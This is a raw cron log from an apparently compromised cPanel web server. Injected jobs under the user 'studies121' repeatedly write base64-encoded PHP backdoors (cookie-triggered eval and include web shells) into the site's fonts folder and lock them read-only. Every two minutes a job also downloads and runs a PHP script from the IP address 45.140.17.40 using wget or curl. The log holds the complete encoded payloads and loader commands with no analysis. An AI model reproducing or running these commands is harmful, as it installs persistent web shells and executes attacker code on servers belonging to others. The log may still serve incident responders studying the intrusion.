Sep 20 12:06:01 ip-184-168-122-23 CROND[17323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:06:01 ip-184-168-122-23 CROND[17325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:07:01 ip-184-168-122-23 CROND[17576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:07:01 ip-184-168-122-23 CROND[17578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:07:01 ip-184-168-122-23 CROND[17579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:07:01 ip-184-168-122-23 CROND[17580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:08:01 ip-184-168-122-23 CROND[17830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:08:01 ip-184-168-122-23 CROND[17833]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 12:08:01 ip-184-168-122-23 CROND[17832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:08:01 ip-184-168-122-23 CROND[17831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:08:01 ip-184-168-122-23 CROND[17834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:09:01 ip-184-168-122-23 CROND[18105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:09:01 ip-184-168-122-23 CROND[18108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:09:01 ip-184-168-122-23 CROND[18110]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 12:09:01 ip-184-168-122-23 CROND[18109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:09:01 ip-184-168-122-23 CROND[18111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:10:01 ip-184-168-122-23 CROND[18448]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 12:10:01 ip-184-168-122-23 CROND[18450]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 12:10:01 ip-184-168-122-23 CROND[18451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:10:01 ip-184-168-122-23 CROND[18452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:10:01 ip-184-168-122-23 CROND[18458]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 12:10:01 ip-184-168-122-23 CROND[18457]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 12:10:01 ip-184-168-122-23 CROND[18456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:10:01 ip-184-168-122-23 CROND[18461]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:11:01 ip-184-168-122-23 CROND[18712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:11:01 ip-184-168-122-23 CROND[18713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:11:01 ip-184-168-122-23 CROND[18716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:11:01 ip-184-168-122-23 CROND[18715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:12:01 ip-184-168-122-23 CROND[18978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:12:01 ip-184-168-122-23 CROND[18980]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 12:12:01 ip-184-168-122-23 CROND[18981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:12:01 ip-184-168-122-23 CROND[18982]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:12:01 ip-184-168-122-23 CROND[18984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:13:01 ip-184-168-122-23 CROND[19243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:13:01 ip-184-168-122-23 CROND[19246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:13:01 ip-184-168-122-23 CROND[19244]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:13:01 ip-184-168-122-23 CROND[19245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:14:02 ip-184-168-122-23 CROND[19508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:14:02 ip-184-168-122-23 CROND[19509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:14:02 ip-184-168-122-23 CROND[19510]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 12:14:02 ip-184-168-122-23 CROND[19513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:14:02 ip-184-168-122-23 CROND[19515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:15:01 ip-184-168-122-23 CROND[19784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:15:01 ip-184-168-122-23 CROND[19788]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 12:15:01 ip-184-168-122-23 CROND[19789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:15:01 ip-184-168-122-23 CROND[19787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:15:01 ip-184-168-122-23 CROND[19790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:15:01 ip-184-168-122-23 CROND[19786]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 20 12:15:01 ip-184-168-122-23 CROND[19791]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 12:15:01 ip-184-168-122-23 CROND[19792]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 20 12:16:01 ip-184-168-122-23 CROND[20351]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 12:16:01 ip-184-168-122-23 CROND[20354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:16:01 ip-184-168-122-23 CROND[20353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:16:01 ip-184-168-122-23 CROND[20355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:16:01 ip-184-168-122-23 CROND[20357]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 12:16:01 ip-184-168-122-23 CROND[20356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:17:01 ip-184-168-122-23 CROND[20708]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:17:01 ip-184-168-122-23 CROND[20710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:17:01 ip-184-168-122-23 CROND[20711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:17:01 ip-184-168-122-23 CROND[20712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:18:01 ip-184-168-122-23 CROND[21111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:18:01 ip-184-168-122-23 CROND[21113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:18:01 ip-184-168-122-23 CROND[21114]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
